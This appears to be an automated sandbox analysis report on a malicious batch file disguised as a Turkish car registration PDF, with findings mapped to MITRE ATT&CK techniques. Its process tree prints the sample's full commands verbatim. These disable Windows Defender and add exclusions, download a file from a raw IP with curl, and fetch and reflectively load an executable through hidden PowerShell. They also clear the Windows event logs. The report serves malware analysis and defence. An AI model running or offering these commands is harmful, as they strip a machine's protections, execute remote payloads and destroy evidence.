286619cb4364f0e8acbf4cc16206669bcd829768db68609a3a414ca8b016d1f7

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe

Modifies Windows Defender notification settings 3 TTPs 2 IoCs

defense_evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

defense_evasion ransomware

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	reg.exe

Clears Windows event logs 1 TTPs 3 IoCs

Clear Windows Event Logs

T1070.001

pid	Process
1040	wevtutil.exe
4544	wevtutil.exe
2476	wevtutil.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
12	3000	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1760	powershell.exe
3000	powershell.exe
1760	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1320	tasklist.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1940	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2472	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2420	timeout.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1760	powershell.exe
1760	powershell.exe
3000	powershell.exe
3000	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	1760	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	1320	tasklist.exe
Token: SeSecurityPrivilege	2476	wevtutil.exe
Token: SeBackupPrivilege	2476	wevtutil.exe
Token: SeSecurityPrivilege	1040	wevtutil.exe
Token: SeBackupPrivilege	1040	wevtutil.exe
Token: SeSecurityPrivilege	4544	wevtutil.exe
Token: SeBackupPrivilege	4544	wevtutil.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 2472 wrote to memory of 3540	2472	cmd.exe	86
PID 2472 wrote to memory of 1760	2472	cmd.exe	87
PID 2472 wrote to memory of 5012	2472	cmd.exe	88
PID 2472 wrote to memory of 3156	2472	cmd.exe	89
PID 2472 wrote to memory of 3804	2472	cmd.exe	90
PID 2472 wrote to memory of 624	2472	cmd.exe	91
PID 2472 wrote to memory of 1736	2472	cmd.exe	92
PID 1736 wrote to memory of 4844	1736	net.exe	93
PID 2472 wrote to memory of 1940	2472	cmd.exe	94
PID 2472 wrote to memory of 4748	2472	cmd.exe	95
PID 2472 wrote to memory of 3000	2472	cmd.exe	101
PID 2472 wrote to memory of 1320	2472	cmd.exe	102
PID 2472 wrote to memory of 4628	2472	cmd.exe	103
PID 2472 wrote to memory of 2420	2472	cmd.exe	106
PID 2472 wrote to memory of 2476	2472	cmd.exe	107
PID 2472 wrote to memory of 1040	2472	cmd.exe	108
PID 2472 wrote to memory of 4544	2472	cmd.exe	109

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\RENAULT_MEGANE_Araç_Tescil_ve_Ruhsat_Bilgileri.PDF 2.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2472
- C:\Windows\system32\fsutil.exe
  fsutil dirty query C:
  2⤵
  PID:3540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true -EA 0;" "Set-MpPreference -DisableIOAVProtection $true -EA 0;" "Set-MpPreference -DisableBehaviorMonitoring $true -EA 0;" "Set-MpPreference -DisableScriptScanning $true -EA 0;" "Set-MpPreference -DisableArchiveScanning $true -EA 0;" "Set-MpPreference -DisableIntrusionPreventionSystem $true -EA 0;" "Add-MpPreference -ExclusionPath 'C:\' -EA 0;" "Add-MpPreference -ExclusionExtension '.exe' -EA 0;" "Add-MpPreference -ExclusionExtension '.bat' -EA 0;" "Add-MpPreference -ExclusionProcess 'svchost.exe' -EA 0"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1760
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:5012
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3156
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3804
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender notification settings
  PID:624
- C:\Windows\system32\net.exe
  net stop WinDefend
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1736
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop WinDefend
    3⤵
    PID:4844
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1940
- C:\Windows\system32\curl.exe
  curl -s -L -k --max-time 10 "http://74.208.93.179/IMG-20260914-WA0001.jpg" -o "C:\Users\Admin\AppData\Local\Temp\ruhsat.jpg"
  2⤵
  PID:4748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$u='http://74.208.93.179/tat.exe';" "try{" " $b=(New-Object Net.WebClient).DownloadData($u);" " $asm=[Reflection.Assembly]::Load($b);" " $ep=$asm.EntryPoint;" " if($ep){$ep.Invoke($null,@($null))}" "}catch{}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3000
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq svchost.exe"
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:1320
- C:\Windows\system32\find.exe
  find /i "svchost.exe"
  2⤵
  PID:4628
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2420
- C:\Windows\system32\wevtutil.exe
  wevtutil cl System
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:2476
- C:\Windows\system32\wevtutil.exe
  wevtutil cl Application
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:1040
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "Windows PowerShell"
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:4544

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry